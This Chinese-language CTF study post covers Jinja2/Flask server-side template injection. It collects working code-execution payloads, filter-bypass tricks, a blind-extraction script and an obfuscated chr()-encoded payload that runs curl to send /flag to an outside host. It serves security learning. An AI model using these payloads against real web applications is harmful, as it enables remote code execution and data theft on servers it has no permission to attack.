ctfshow SSTI 知识点总结

前言

之前没太接触过模板注入相关的知识,所以特地用一天时间把web入门的SSTI的题目刷完,参考了其它大佬的文章,对知识点进行一个总结。

SSTI知识点

基础知识

jinja2官方文档 Template Designer Documentation — Jinja Documentation (2.11.x)

  •  常用模块、类、方法等
    __class__            类的一个内置属性,表示实例对象的类。
    
    __base__             类型对象的直接基类
    
    __bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性
    
    __mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
    
    __subclasses__()     返回这个类的子类集合
    
    __init__             初始化类,返回的类型是function,通过此方法来调用 __globals__方法
    
    __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
    
    __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
    
    __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
    
    __getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
    
    __builtins__         这里 __builtins__ 是内建名称空间,是这个模块本身定义的一个名称空间,在这个内建名称空间中存在一些我们经常用到的内置函数(即不需要导入包即可调用的函数)如:print()、str()还包括一些异常和其他属性。
    
    __import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,
    
    __str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
    
    url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    
    get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
    
    lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
    
    current_app          应用上下文,一个全局变量。
    
    request.args.x1   	 get传参
    
    request.values.x1 	 所有参数
    
    request.cookies      cookies参数
    
    request.headers      请求头参数
    
    request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
    
    request.data  		 post传参	(Content-Type:a/b)
    
    request.json		 post传json  (Content-Type: application/json)
    
    config               当前application的所有配置。
    
    g                    {{g}}得到
    
  • jinja常用过滤器函数 过滤器函数官方文档
  • int():将值转换为int类型;
    
    float():将值转换为float类型;
    
    lower():将字符串转换为小写;
    
    upper():将字符串转换为大写;
    
    title():把值中的每个单词的首字母都转成大写;
    
    capitalize():把变量值的首字母转成大写,其余字母转小写;
    
    trim():截取字符串前面和后面的空白字符;
    
    wordcount():计算一个长字符串中单词的个数;
    
    reverse():字符串反转;
    
    replace(value,old,new): 替换将old替换为new的字符串;
    
    truncate(value,length=255,killwords=False):截取length长度的字符串;
    
    striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
    
    escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
    
    safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
    
    list():将变量列成列表;
    
    string():将变量转换成字符串;
    
    join():将一个序列中的参数值拼接成字符串。示例看上面payload;
    
    abs():返回一个数值的绝对值;
    
    first():返回一个序列的第一个元素;
    
    last():返回一个序列的最后一个元素;
    
    format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
    
    length():返回一个序列或者字典的长度;
    
    sum():返回列表内数值的和;
    
    sort():返回排序后的列表;
    
    default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
    
    length()返回字符串的长度,别名是count
    

常见的利用链

  • 利用__import__

    {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
    # 注意:__ subclasses __()[75]中的[75]是子类的位置,由于环境的不同类的位置也不同

  • 利用__builtins__

    {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

  • 利用python中的subprocess.Popen()

    {{().__class__.__bases__[0].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0]}}
    

  • 利用未定义类来利用__builtins__

    {{x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}}
    # x可以为a1,aa,absd等,不加引号

  • 通过flask内置方法url_for和get_flashed_messages来利用__builtins__

    {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    
    {{get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

  • 通过flask内置方法lipsum来利用os

    {{lipsum.__globals__['os'].popen('ls').read()}}

  • 通过flask内置类来利用__builtins__或者os

    {{request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()}}
    
    {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

  •  如果不知道具体位置,可以利用循环来利用

    {% for i in "".__class__.__base__.__subclasses__() %}
    {% if i.__name__ == '_wrap_close' %}
      {% for x in i.__init__.__globals__.values() %}   
      {% if x.__class__ == {}.__class__ %}  # 筛选出dict类型元素
        {% if 'eval' in x.keys() %}  
            {{ x['eval']('__import__("os").popen("whoami").read()')}}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}

      __import__或者__import__相关可用类查找脚本

search = '__import__' # __builtins__
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

相关过滤及绕过方式

  • 过滤单双引号" ' 

        request家族绕过

# request.args.x
?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag

# request.values.x
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean =cat /flag

# request.cookies.x
?name={{lipsum.__globals__.os.popen(request.cookies.ocean).read()}}
Cookie="ocean=cat /flag"

       字符串拼接绕过

# 通过__str__()方法或者通过过滤器string拼接字符串
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={{url_for.__globals__['os']}}

# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}

# select凭借字符串
{% set a=(()|select|string)[24]) %}
a => "_"
  • 过滤args

        替换为其它request家族

request.values.x1 	 所有参数

request.cookies      cookies参数

request.headers      请求头参数

request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data  		 post传参	(Content-Type:a/b)

request.json		 post传json  (Content-Type: application/json)
  • 过滤方括号[]

        利用getitem绕过

?name={{url_for.__globals__['os']}}
等于
?name={{url_for.__globals__.getitem('os')}}

        利用点号.绕过

?name={{url_for.__globals__['os']}}
等于
?name={{url_for.__globals__.os}}
  • 过滤下划线_

        利用过滤器attr绕过 attr官方文档

?name={{lipsum.__globals__.os.popen("cat /flag").read()}}
等于
?name={{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
  • 过滤os

        利用get绕过

?name={{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
等于
?name={{(lipsum|attr(request.values.a)).get(request.c).popen("cat /flag").read()}}&a=__globals__&c=os
  • 过滤request

        利用{%%}绕过

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
等于
?name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

        字符串拼接绕过

# 通过__str__()方法或者通过过滤器string拼接字符串
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={{url_for.__globals__['os']}}

# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}

# select凭借字符串
{% set a=(()|select|string)[24]) %}
a => "_"
  • 过滤数字

        使用无数字的利用链

{{x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

        通过length或者count获取数字

length():返回一个序列或者字典的长度;

?name=
{% set c=(dict(e=a)|join|count)%}  # c = 1
{% set cc=(dict(ee=a)|join|count)%} # cc = 2
{% set ccc=(dict(eee=a)|join|count)%} # ccc = 3
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

        利用index获取数字

index(): 返回字符的索引值

http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
# ershisi = 24
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
# liushisi = 64
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
  • 过滤print

        dns带外

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
# cmd = curl -X POST -P xxx=@/flag http://xxxx.xxx.xxx.xxx
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}

        盲注

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break

你可能感兴趣的:(笔记,安全,网络安全,web安全,flask,python)